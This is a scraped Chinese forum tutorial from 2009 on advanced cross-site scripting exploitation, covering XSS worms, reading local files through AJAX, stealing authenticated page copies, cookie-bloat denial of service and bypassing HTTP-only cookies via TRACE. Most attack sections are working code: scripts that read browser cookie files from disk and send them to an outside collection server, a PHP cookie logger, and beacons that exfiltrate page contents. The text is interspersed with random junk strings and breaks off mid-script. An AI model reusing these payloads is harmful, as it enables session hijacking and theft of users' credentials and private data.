XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
. ~( R+ t. |) k8 m. j本帖最后由 racle 于 2009-5-30 09:19 编辑
; I. B4 Y* W$ A9 M- u$ O2 f
. u  E# G* W( B" n- OXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
# K; K' H: N: q! R* O! chttp://bbs.tian6.com/thread-12711-1-1.html
0 b1 _# }, ]; `+ L* e- G  s3 b转帖请保留版权


( T& P- r* x8 ?: J. \# `
-------------------------------------------前言---------------------------------------------------------
9 k( g' S6 m; c7 x6 i

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
; x* R9 y; `$ f
& M4 l8 P' N7 ^% U: Q0 @
如果你还未具备基础XSS知识,以下几个文章建议拜读:
! k5 C7 w. K' W' Nhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
: d9 g$ d7 N) v! [) ]  P7 x  mhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
5 ]: }/ _0 A# s# K1 h; Vhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
) c* i; D4 Z  Z. [http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


3 L! f( S6 j. @' K

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

& O- _$ K  v1 i. B9 a希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

; H& N  U1 D% N, h% T* H如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

# B8 L6 X" I4 Q. F: B8 gBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

- y: G) o  t$ _; T; ZQQ ZONE,校内网XSS     感染过万QQ ZONE.
, d7 e5 x: |4 W
! P, T0 B5 \; J% H- yOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

) c; I# ?* S6 K! P. s: C# [5 \..........
复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.


+ y* `! w# }* b( t$ H' E
, G3 O+ z* T4 u3 h, k! X9 k+ I8 h跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

4 \& X8 r+ Q& b% L8 E

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
, L3 U8 O" T' K
1        通过XSS,我们能实现什么?
1 B# U9 f- C8 A- J7 y3 B8 R
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
4 l$ x: N4 c* h* m8 ^/ E# B* N
! @0 h9 `' R6 \/ E3 X  Q- @) ~3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
9 p8 ^7 b' E" a, r$ _
4        XSS漏洞在输出和输入两个方面怎么才能避免.


7 h: Z  v* {) Z# b' u
. \& m4 I# q$ s------------------------------------------研究正题----------------------------------------------------------
# f& Q) T0 Z0 p% J6 j$ n1 p

/ C  @0 o4 k! l$ m5 I
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
; W  J8 l& I( W: o1 G, J/ u& E复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
' M# C1 y2 _* o. P! g9 T% n复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
+ u( A2 P* g% M: _! C; @1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
5 f: m+ `9 J: ^" h2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
% q5 u5 F  P' h2 Y0 x3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
) A( X5 j- |2 L( {( T9 Q7 ]5 D4:Http-only可以采用作为COOKIES保护方式之一.

' L0 a/ `" ^; l( O0 k2 t+ z
! T6 v$ c. P# J  Z5 Q: l5 Z
4 C6 h2 k7 k' t8 a: j3 J7 k

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)



    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
2 v, {; K# i# ?1 c6 @

1 V1 N4 g+ A+ L
7 \) Z% H9 C7 i. D) h5 Y  f    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
  d% H3 ~$ o# x6 a% g: ~" K( X" I
    function $(x){return document.getElementById(x)}

7 i9 C3 t2 l0 [! T% @

    function ajax_obj(){
1 g& V2 M6 |0 J, m9 e! V+ I( G7 O
. [6 p1 H5 Q) n8 {7 B2 x/ J( h- x    var request = false;

    if(window.XMLHttpRequest) {

, d& c# X/ V$ D# X! z% Z    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
( ]) X" `/ i: y. L' W7 ?" Z8 r
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
5 q$ _7 a! w4 |& b9 D4 F
: x/ Q% N' R. u  T+ t. ~

& W9 ], X, K8 G! [; A7 f    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
! `' f' R/ T2 L
    for(var i=0; i<versions.length; i++) {
0 ^) P' {+ h  w  s
    try {
3 A4 ^5 A# n' X
/ o  Y0 g7 R( m& _' H9 r, }/ E6 g    request = new ActiveXObject(versions);
! n0 L& I6 v/ |% f+ {
    } catch(e) {}

5 I  F* _1 d, ^1 P  ^# [8 Z    }
. g, f; O4 G6 {+ i2 |
& h8 o# m) w4 t; [    }

4 A! V' d7 ?& z, Q8 I0 x    return request;

8 d/ X3 |, ]7 [4 c- F    }

    var _x = ajax_obj();
, `- S5 a4 U4 w" ~  ]; a% P8 O) ~
6 C7 i1 J& G# n! E& x( m    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
5 g; d& Y1 F0 p2 B3 a
4 I% m4 U. V5 I1 B    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
4 ^' ?! \+ k6 \! E- \  Y, c2 `0 P/ L: S  V
    _x.send(argv);
5 W* y! b" g: O0 F
* y6 X+ M; Y# v5 D2 l    return _x.responseText;
2 f5 P; p0 i) L2 `# h: o
2 s2 A# c  \* [* b! h2 {    }

% T6 U, H- j* y  U9 Y
6 K% A$ W# [3 M
' ]2 a& G" l9 s2 D* o& q) v3 C    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
$ b; C3 H* E; {! u7 p
$ a* P9 S) T* Z' p, B  }( q    alert(txt);

3 V& h0 d7 K5 Q
6 E7 \0 c, q% N/ ?5 x
    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

2 `- _6 f! J9 `# R& j' j4 @1 D" h  B    function $(x){return document.getElementById(x)}

) z0 J, x& @: C" d% |  R- K

6 t- H9 d% u( o    function ajax_obj(){

1 s" L7 D2 Y9 |' b    var request = false;

5 g% R+ z& b5 p9 P    if(window.XMLHttpRequest) {
# ~) c; b4 k, A( y7 g
    request = new XMLHttpRequest();
! _- A, H/ O& `5 B0 o  ]7 d' m
    } else if(window.ActiveXObject) {
- q9 ?# I9 E6 @4 ]3 m1 A4 P- t
" K% }$ y' P; L/ f: I  `2 w    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


. ]) X5 v& ~! B( {
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
/ T6 i1 x$ i1 t: U$ ^0 D
    try {

7 }% E9 y0 }" n# U+ N: M6 i" k    request = new ActiveXObject(versions);

    } catch(e) {}
6 u0 ~1 B8 ~3 U
    }
! O0 U( M0 |% x4 r; l1 J
    }

5 c, ~) h+ S! n1 e+ |    return request;
" r. k9 y! W: A5 S% {% k8 q' l! F
    }

    var _x = ajax_obj();
- v9 a6 e, e6 @
4 Z7 N6 ~  i9 F3 m2 t1 {. Z    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

' B8 S2 k" R# q' m* e% ]    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

- S6 X( F0 O2 a0 e* c    _x.send(argv);
1 `: l' M3 J- J# n/ z% {
    return _x.responseText;
. T4 ^( w2 J8 f
    }
7 V; E8 ^9 a8 ^3 A
( q7 s- q5 c) O( H3 Y6 R0 I

    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);

3 k* \* i3 `, \8 _7 k2 w# T
5 S* y- y$ Z' q5 R% a% T$ s* K
    </script>
/ O* n8 ]4 M& U0 ]$ ?. r复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

9 Z) Q+ }" R* c$ ?2 t

4 ?- j/ z2 [$ b* _Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
) S4 ?8 s" P- v( c( B0 j' l
) S0 {: ?: i- V5 H  p9 z7 q

" j, B! L, @4 w# d" a: ]: C<?   
8 `: P6 r1 a' \: c2 N" @3 t
, p+ V9 h  b  t$ z" m, N6 Y5 F/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
0 \, X: p9 N; ?0 L  p( p
     www.inbreak.net   
9 ^( i- P' N! W1 }; _0 r
- |/ X& s7 E! Z1 s, R     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

" o# V* V3 L5 H, G2 [5 q*/  
  _3 O2 `2 i# t' C
header("Content-Disposition: attachment;filename=kxlzx.htm");   
- A! G  H0 }- l
7 k) v+ D7 _( p1 y8 }  j' cheader("Content-type: application/kxlzx");   

+ B! s8 G- u( Y/*  

     set header, so just download html file,and open it at local.  

+ e4 Y8 G. Q( c9 C" b) B*/  
0 ]+ w' B) s! s6 n* O9 v: g* a
* G8 W3 q) u- W5 L0 u( H?>   
+ v1 W8 m' K- `% e1 D
; s# G+ S9 U1 d<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
/ I- H  C% q0 Q9 g3 E
     <input id="input" name="cookie" value="" type="hidden">   
4 z7 I/ c) s+ C& y1 |. f
</form>   
& I5 F& t' C: H- ]9 |
# s3 y, P$ P3 c4 E<script>   
4 D- B- p& A6 s& @
function doMyAjax(user)   
& r: L8 x* l  X) P
{   
/ i2 D1 ~7 P& F: @$ Q8 d
4 S4 ^' i2 V" K# {var time = Math.random();   

& j: o" u- H* B& @8 r) Y& ~/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

8 J: p* O: C9 }4 i/ b( |  cand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
8 V2 g* g' F8 W
4 U0 A7 G% H6 P: Qand so on...  

*/  

5 y( r1 L5 ^3 Z9 Zvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   
' y& B/ _$ m1 i* Q1 L
startRequest(strPer);   

# V; n" D; L: L  m; j6 W

}   
9 A6 |$ N, S) J' D
   

. Z% k  Q+ M. ffunction Enshellcode(txt)   
) c; m. X% {  M2 C. B0 Z
7 L* }* G! \" ]! `8 P{   

var url=new String(txt);   

var i=0,l=0,k=0,curl="";   

( O' U8 U0 M' t6 al= url.length;   

3 _) [4 r( M- qfor(;i<l;i++){   
* O& @/ g  x1 l$ Z# Q" i
9 z- W, L: W) r# }4 G- S3 gk=url.charCodeAt(i);   

+ E1 Z, B4 j+ Q8 n3 H7 ^* Sif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
  r& I( D& \7 x" R0 T) F8 D
if (l%2){curl+="00";}else{curl+="0000";}   

% `) P4 j4 V9 x8 p7 Kcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
7 X& N1 H( E1 u( l
# C8 O, D6 }2 y7 g' }return curl;   
  ]# W, H- ?; D* }  K* r) w8 F
) b: Z; }) ?, }& T+ m}   
" |- t. e. J- n8 k! `* e
   

   
  q" s7 z9 p1 ?6 @1 P' U$ x/ Q
var xmlHttp;   
* A% R& l. {9 P) e
8 Y- W: ~# Z& R% `function createXMLHttp(){   
7 w9 S  A2 ~) v# c# N
! Y3 [9 t- q0 c' ~% M2 x, s$ Q3 a  T     if(window.XMLHttpRequest){   

7 a6 ~: U. ]; w; Z$ ExmlHttp = new XMLHttpRequest();           
- r0 Q: f# Z0 K2 A: u7 ^" R
. `, F1 s3 D. ~4 s: @3 N     }   

     else if(window.ActiveXObject){   
. L" t/ [% ]" {8 e! ]
5 N8 E( U; {; @3 F0 KxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
4 X! a' O2 \3 q( ?
/ {/ @, b# r9 r+ B     }   
4 X: G1 {- l. ]' U- ^
; l! w5 n  z* e* b6 X4 B7 B8 \7 E}   
% O" [+ t4 V8 j' B1 k4 U% P8 s' o# U
   
  s, f$ `; R& y4 n( f/ ^' u) @
" B) P/ {5 S' u9 zfunction startRequest(doUrl){   

   

     createXMLHttp();   
+ C8 N3 y4 \6 j) K+ H) o

2 P1 a& l* G$ ^6 }
     xmlHttp.onreadystatechange = handleStateChange;   


: ]7 F4 u0 V# o: @  N+ u
; h* V- P# ?0 e2 N! c' \- ~     xmlHttp.open("GET", doUrl, true);   


) t; |1 d0 d0 L  O
     xmlHttp.send(null);   
0 E! o2 D4 U  F: J/ }/ _3 W
* i! v( e. o9 w0 _0 |& t* K4 f
8 G3 X; H8 q" g4 E+ a. o" A7 C" t


}   

   
% `3 ~6 k3 k1 y% R) V( ]" a: |
function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   
8 f. Z4 X0 ]* X
     var strResponse = "";   
% }( r! s9 X; R
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        
3 ]  J4 h4 P8 a- d! u/ ^
& l6 f" c. R2 H6 \" a     }   

: @& v+ Y" v8 b( z8 u, h; A* G}   
$ z+ w  }( u( n) B4 J$ Q8 ^
+ [4 s. k5 l4 L- b% T7 i$ J   

   
+ ]7 _# `2 H8 b1 ]2 v
( f& k* U! c# I. L8 |( dfunction framekxlzxPost(text)   

  S6 x3 I# I* B$ `8 c{   
" b% [, u2 p" W2 H$ G
; |& S0 @4 o! X% {) y     document.getElementById("input").value = Enshellcode(text);   
  Z  i) ^' \8 c7 F5 y
& d- X# a2 j$ V  x) d     document.getElementById("form").submit();   

}   
. E3 R6 B* B) X. t" q# K! u- X$ A
3 ~' U6 d1 A- I: X! q/ t  R6 p   

doMyAjax("administrator");   
9 ?7 i. O4 d$ B1 m
   

: j& x4 D" e6 |) f) ^</script>
* L4 c' Q: F1 z/ `5 L$ C复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
0 C9 W' O5 o- u9 t2 a- u2 D, b
8 ]7 @1 W" ?6 j1 B( Xvar xmlHttp;  

# ?0 L- U4 M0 i' y; E& qfunction createXMLHttp(){  

     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         

; d& u1 s, Q( R( S+ L9 w/ [     }  

) [) w" o' W2 Q     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
0 ]0 g6 S3 s  T/ M- ^0 X3 m
: r( k. g! }$ o( e     }  

}  
# U! s: G+ H# }" _
, g  A; M1 ^6 J( `2 @   
6 |9 f, x8 ]6 g2 s  x
function startRequest(doUrl){  
# {+ I. r# n! x6 `' C7 {
           
6 {, x' r( v% ?  D/ i$ b1 M
+ n/ [6 t! d6 C* X3 M     createXMLHttp();  

      

/ q* u) q" w4 G     xmlHttp.onreadystatechange = handleStateChange;  

      
. T: |. v* [/ J" d0 w& _
; @4 }' ^# t& v, [- g     xmlHttp.open("GET", doUrl, true);  

( C' H+ f* I; R; t8 W& M      
+ T+ G1 e: w0 i7 w( K+ ]* _+ F
8 L% N' A% |# O: B, E     xmlHttp.send(null);  
2 u& ~) N1 z8 I% x
      
) V/ `( a" b% f) |0 a: `6 D
      
) b" R* C/ V% I  M- [
}   

' d, V7 U9 F$ o% Z   
6 J# n- s$ ~8 N8 B  G* A/ W
! Y" i2 x2 }/ ]( Zfunction handleStateChange(){  
8 X  i0 ^: R- c  m/ J
     if (xmlHttp.readyState == 4 ){  

+ c7 N4 b: G4 i1 Q             var strResponse = "";  

, C: `; n/ P, q, P- G" x' X             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

% {. S/ T0 X  j8 n$ b               
# ]/ v1 x2 ~$ e, T8 Q  T
! F# R5 L: s3 K; K, v( R2 [     }  

}  

6 \: w% M# e% b2 O   

- K( k( q/ R( C1 N8 n3 r% Kfunction doMyAjax(user,file)  
" l0 e. r+ Q! J
: [7 A/ s; ?$ [0 J2 f) s{  
2 g) V( m1 K8 Q7 X7 J* O
         var time = Math.random();  

           
/ @& z: n# }+ P. Q9 U: z+ F% p
9 h/ }2 a  \# M* k# c3 m         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
1 e# y6 f* L# w& l$ v
           
5 [, {" l: Z9 @
% U) e2 r& j0 o, ?         startRequest(strPer);  

      

}  
/ n! L5 Z# L' ?9 ~9 ~
0 |# G, K% Z/ D9 e" c' B9 Z2 t& w   
8 M+ N  l# c8 b" s- i" R/ X
function framekxlzxPost(text)  
. O. B# `& j/ }
/ c( k4 O: m; o& G* Z9 s{  
) K+ O2 q3 i5 |) F& w# a; q0 j+ r
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

) `$ N2 e* |+ \: |, i     alert(/ok/);  
! V+ \7 B& w4 x2 n% R% `4 d0 [
! O+ n4 d6 ^) Z1 m5 _& E$ [* T7 K}  
4 k6 b7 k7 \8 |
6 a( |/ W0 L7 C9 L& ?3 X" u! H' |   

doMyAjax('administrator','administrator@alibaba[1].txt');  
6 l5 H% O7 _+ i+ j
: W. ~3 D- n3 p# G- h+ L! E$ p" B   

4 Q' P+ i' h' J6 w- H& e, }</script>
0 [% v0 G- s6 _; |7 o. i5 m
8 N  d4 j+ d* t" U$ t; g
) _+ O& X9 v3 m  O


a.php
3 V1 }, G! [7 d

" H4 r+ R8 v# R3 F- {; d" u
; K/ h3 U8 ]$ L$ k<?php      
! t+ _) R6 y  Q. O9 S, v: f1 f
   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

: |& O7 M2 x! Q; }$ Q. G$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
1 ?% M. x% K; A) O
- q' C4 v4 `% Ofclose($fp);   

1 {$ K9 O6 q5 t3 T; s?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
/ o  H1 l1 F6 i# m! |- `8 O5 g利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
4 t% `& X) r2 m1 Q9 k$ a& ^
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
$ h1 r. b# z+ Q; P# U- J
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

( k  R# N% |, U. Q8 k1 _2 B//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {

var image = new Image();

. E1 c3 t! r# }% P) J/ m( d. t( Limage.style.width = 0;
1 i. P  O/ P4 `* Q" G' y
2 I) {* |' Y8 `# j- iimage.style.height = 0;

image.src = s;
; z0 n, Q# K  S2 O% o
  I6 Y- R( x" Y5 c+ N}
. W) N' @6 K  P" j  v% G0 H2 _
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
! G1 W) F4 Y* X这里引用大风的一段简单代码:<script language="javascript">
# J4 R0 k2 a. }
var metastr = "AAAAAAAAAA"; // 10 A
0 J- i, b2 U4 c1 h" w
var str = "";

$ }$ n+ ~. f7 H! Swhile (str.length < 4000){
8 a+ d5 W  U6 ]: j4 Y
% T6 d( B& [7 N4 y$ l% L    str += metastr;

0 M& D3 _5 j+ h* T}



document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
- K" a. B2 j8 {/ ^0 }
</script>

" X9 d+ t; w  e+ i9 n0 q详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
) F2 l# j! m3 e9 @7 T8 n/ @server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
0 m% O( R6 s. b# X4 z' H, {
. h! V+ s6 u1 S& U4 W! `假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
1 L/ _% W; {% C5 W7 }* F攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


- x4 C- _4 f& H! A3 Q& ?



(III) Http only bypass 与 补救对策:
3 ~& S2 F0 M" H
/ w9 V2 s% Q" U$ }0 U  j什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
: P; z$ r: |: p" q2 w; x% o以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
$ Y$ U- _6 V6 A2 C  T* V
5 w; N( G6 G& o/ f3 O<!--

function normalCookie() {
0 g. Y1 l* l  K) c- a! f( i7 Q' ~
document.cookie = "TheCookieName=CookieValue_httpOnly";
+ d2 v# V+ r4 _4 u, {6 ~
- ?7 M) g+ u) a. aalert(document.cookie);

}

0 }' s/ E& i5 t& N+ ^: U. |
3 H% j8 w, D* {7 ~. w" r5 z, B
7 z9 k. M6 z( z6 f" f, S9 T# O

function httpOnlyCookie() {

/ _6 A/ h. ]/ A$ n) G/ X' [% Idocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
4 Z9 L* B. q! J4 y! ]7 y
alert(document.cookie);}
: n& ?9 N2 \0 s1 D3 z4 d


//-->
: t4 {! Q6 ^. x; `# h
, l1 P$ W3 G7 K# F. Q9 S" Q  t</script>
3 w& z% B7 d* o# H6 o% x4 v
/ e5 O2 Y8 u+ n. `8 x9 ^7 [- a

<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
' `$ x- S% W) M- l: }3 }复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

& H! k8 S+ x' t% J" u
5 m# c! }5 E. z: C
var request = false;
# V' J# E7 f+ G0 n" O
; W" E/ j  l/ C$ k1 Y, q        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
2 J  R$ @4 I" I7 g
5 J  e' ?5 y" D- o, r' f2 n                request.overrideMimeType('text/xml');

' G" A5 |/ j2 H" N* g            }
# m, f+ v2 B# O/ t8 ?
        } else if(window.ActiveXObject) {

+ Y6 O" \7 H- b2 _$ s5 O  s0 l. ^            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
( u6 d) i: w2 ?: D5 U
. \1 n- h& h5 y" A3 T                try {
. w6 H7 W* V/ k7 L1 a; H
                    request = new ActiveXObject(versions);

                } catch(e) {}
/ S# T( C* V( ?* M
            }
$ s  }& `" \% Q) f/ X3 N
  y% B' n. R0 F        }

5 S' _3 U" A: n0 V( i- J7 q! C0 t/ uxmlHttp=request;

; V) k: m9 r9 ?! G1 gxmlHttp.open("TRACE","http://www.vul.com",false);
/ Q  b3 g2 C! o' S% L: U6 c! H
& P6 T* K8 k- }2 \: m( |xmlHttp.send(null);
# h0 }. o1 p  n3 g- Z) I
2 i8 \' x: J1 x# e* _0 h: |' T  rxmlDoc=xmlHttp.responseText;
* C. Q7 z. m% u4 \; \- j% b+ a
alert(xmlDoc);
& \: v) S0 _3 t" r' S8 p& F0 Z
; M' f; M: j8 D3 ?1 ?</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
! f7 l7 C% z5 K2 L' t- D4 v8 [
8 B; f; R% T- v& cvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
! L7 d, b, D0 X8 w: D: \
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

/ h5 r% \- V( [. j" EXmlHttp.send(null);
0 Q2 _6 T' y- x: W  b0 f
var resource=xmlHttp.responseText

resource.search(/cookies/);
2 m2 ~! c4 c* t: r" ~2 A( X
......................
  R6 K4 W: A* v
</script>

: X7 P2 t. v/ K
- L, b% v& L* b- X

9 b* U3 U9 N2 b. l
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
) P1 F5 B5 A+ l( `6 u6 }# x+ \9 o
[code]
6 A3 W* T- j5 {
- ?  F# K, {  ARewriteEngine On
5 s8 O# K9 ]' D$ }
8 P( i: N6 i( O% W% \; URewriteCond %{REQUEST_METHOD} ^TRACE

% d' _: A0 G+ ?RewriteRule .* - [F]

+ u' g( T) ~& N0 `1 l5 O) y

5 I# X1 _/ s$ _% D7 C3 k4 fSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
0 C9 [% _, p! ]$ t
acl TRACE method TRACE

...
) s0 l  D8 G2 ~/ ?2 W% c5 s
http_access deny TRACE
  z5 y4 ]9 S3 F8 z! G' P复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
/ o  u' s$ U" ^5 V  J8 y
  q- h* j# G  [var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

